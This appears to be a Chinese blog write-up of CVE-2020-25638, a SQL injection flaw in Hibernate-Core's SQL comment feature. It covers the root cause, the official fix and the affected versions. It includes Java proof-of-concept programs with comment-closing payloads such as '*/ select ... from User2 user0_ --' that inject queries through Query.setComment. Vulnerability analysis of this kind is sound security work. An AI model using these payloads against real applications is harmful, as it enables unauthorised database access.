Hibernate-Core (CVE-2020-25638)

前言:

Hibernate-Core 通过 ​ORM 映射、会话管理、事务控制 和 ​缓存策略 四大支柱功能,实现了对数据库操作的抽象化,使开发者能够以面向对象的方式高效操作数据库。其设计兼顾灵活性与性能,是 Java 生态中 ORM 技术的经典实现

CVE-2020-25638

查看下官方对漏洞的定义

可以看到漏洞出现在注释的地方,没用进行有效的校验机制,可能导致sql注入

原理

漏洞主要存在在注释功能中,在开发人员编写代码的时候,当出现bug的时候,可以通过注释快速识别 ​HQL 或 JPQL 查询对应的 SQL 语句,尤其在复杂查询或多表关联时,帮助开发者或 DBA 在日志中定位问题来源

但是注释的过滤代码过于简单,如果可以被前端控制就会造成sql注入,

首先看下是如何调用注释代码的

调用的方法很简单,就是对数据拼接上/* */注释符号,看下对 this.comment是否进行校验

同样没用进行任何处理操作

看下最后拼接的sql语句

复制代码
 /* This is a comment */ select user0_.id as col_0_0_ from User user0_ where user0_.username='first'

可以看到注释被放在了正常执行的sql语句前面,如果传入的comment注释内容前端可以控制,攻击者可以构造*/来闭合注释标签

测试

下面我们编写代码进行测试,首先添加查询的数据类User

复制代码
package org.example;

import javax.persistence.*;

@Entity
@Table(name = "User")
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private String id;

    @Column(name = "username")
    private String username;

    // Getters & Setters
}

然后main中编写测试代码

复制代码
package org.example;

import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.annotations.common.util.StringHelper;
import org.hibernate.cfg.Configuration;
import org.hibernate.query.Query;

import java.util.List;
import java.util.regex.Pattern;

public class Main {

    public static void main(String[] args) {
        Configuration config = new Configuration()
                .addAnnotatedClass(User.class)
                .setProperty("hibernate.connection.url", "jdbc:mysql://127.0.0.1:8521/LLTets")
                .setProperty("hibernate.connection.username", "root")
                .setProperty("hibernate.connection.password", "*****")
                .setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLDialect")
                .setProperty("hibernate.use_sql_comments", "true");

        SessionFactory sessionFactory = config.buildSessionFactory();
        try (Session session = sessionFactory.openSession()) {
            // 模拟恶意注释注入
            String maliciousComment = "*/  select id from User  --";
            Query query = session.createQuery(
                            "select id FROM User WHERE username='first' ");

            query.setComment(  maliciousComment );
            //query.setParameter(1, "aa");
            List users = query.getResultList();

            System.out.println("查询结果:" + users.size());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行后会发现如下报错

这里提示我们缺少col_0_0_这个列,下面我们研究下我们之前查询的SQL语句

复制代码
select id FROM User WHERE username='first' 

对应的内容转换的语句

复制代码
select user0_.id as col_0_0_ from User user0_ where user0_.username='first'

可以看到

id转为了user0_.id as col_0_0_

FROM User转为了from User user0_

WHERE username转为了here user0_.username

在 Hibernate-Core 中,HQL(Hibernate Query Language)转换为 SQL 时生成的别名(如 user0_.id as col_0_0_)是框架自动处理对象关系映射(ORM)和优化查询的关键机制。

照葫芦画瓢,或者通过session.createQuery调用我们的payload,就可以获取到对应的转换后的sql语句,最后转换完成就是下面的结构

复制代码
select user0_.id as col_0_0_ from User2 user0_  --

最后的调用代码如下:

复制代码
package org.example;

import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.annotations.common.util.StringHelper;
import org.hibernate.cfg.Configuration;
import org.hibernate.query.Query;

import java.util.List;
import java.util.regex.Pattern;

public class Main {

    public static void main(String[] args) {
        Configuration config = new Configuration()
                .addAnnotatedClass(User.class)
                .setProperty("hibernate.connection.url", "jdbc:mysql://127.0.1.1:8821/LLTets")
                .setProperty("hibernate.connection.username", "root")
                .setProperty("hibernate.connection.password", "******")
                .setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLDialect")
                .setProperty("hibernate.use_sql_comments", "true");

        SessionFactory sessionFactory = config.buildSessionFactory();
        try (Session session = sessionFactory.openSession()) {
            String maliciousComment = "*/  select user0_.id as col_0_0_ from User2 user0_  --";
            Query query = session.createQuery(
                            "select id FROM User WHERE username='first' ");

            query.setComment(  maliciousComment );
            //query.setParameter(1, "aa");
            List users = query.getResultList();

            System.out.println("查询结果:" + users.size());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

执行后的sql语句如下

/* */ select user0_.id as col_0_0_ from User2 user0_ -- */ select user0_.id as col_0_0_ from User user0_ where user0_.username='first'

使用*/闭合前面的注释,--将后面的内容全部注释即可执行select user0_.id as col_0_0_ from User2 user0_

需要注意注释功能默认是关闭的,需要设置中打开

复制代码
setProperty("hibernate.use_sql_comments", "true");

修复

修复也很简单,就是做个转换,看下官方的代码

复制代码
https://github.com/advisories/GHSA-j8jw-g6fq-mp7h

https://github.com/hibernate/hibernate-orm/commit/36ebf7d3836e83e99f2a91777b5389e1daf1f2b7#diff-db73bbf122356d881edeb9b3d69cc9ad5b469229214d289131fd6c98c6b7b4c0

具体的修复代码如下

当存在需要注释功能的时候直接调用进行转义即可

影响

官方给的漏洞范围如下

5.4.0.Final~5.4.23.Final

<5.3.20.Final

另外4.x和3.x是否有影响

4.x测试代码如下

复制代码
        try  {
            Session session = sessionFactory.openSession();
            String maliciousComment = "*/  select user0_.id as col_0_0_ from User user0_  --";
            Query query = session.createQuery(
                            "select id FROM User WHERE username='first' ");

            query.setComment(  maliciousComment );
            List users = query.list();
            System.out.println("查询结果:" + users.size());
        } catch (Exception e) {
            e.printStackTrace();
        }

测试证明同样存在风险,3.x也同样有该风险

总结

漏洞能利用的三个条件

1.程序必须开启了hibernate.use_sql_comments,即设置为true,模式是关闭状态

2.程序的comment注释内容必须是我们可以控制的,只要是拼接到comment注释中没有经过处理的都可以

3.我们必须知道我们要获取数据类的字段名,如果存在报错输出最好,不然就要凭借经验或者获取公共类的数据

要满足以上三点可能性并不高,所以这个漏洞只有在很巧合的情况下才会出现,实际利用价值并不高

相关推荐
DKPT13 小时前
JVM中如何调优新生代和老生代?
java·jvm·笔记·学习·spring
phltxy13 小时前
JVM——Java虚拟机学习
java·jvm·学习
seabirdssss15 小时前
使用Spring Boot DevTools快速重启功能
java·spring boot·后端
喂完待续15 小时前
【序列晋升】29 Spring Cloud Task 微服务架构下的轻量级任务调度框架
java·spring·spring cloud·云原生·架构·big data·序列晋升
benben04415 小时前
ReAct模式解读
java·ai
轮到我狗叫了16 小时前
牛客.小红的子串牛客.kotori和抽卡牛客.循环汉诺塔牛客.ruby和薯条
java·开发语言·算法
Volunteer Technology17 小时前
三高项目-缓存设计
java·spring·缓存·高并发·高可用·高数据量
栗子~~17 小时前
bat脚本- 将jar 包批量安装到 Maven 本地仓库
java·maven·jar
Mr.Entropy18 小时前
ecplise配置maven插件
java·maven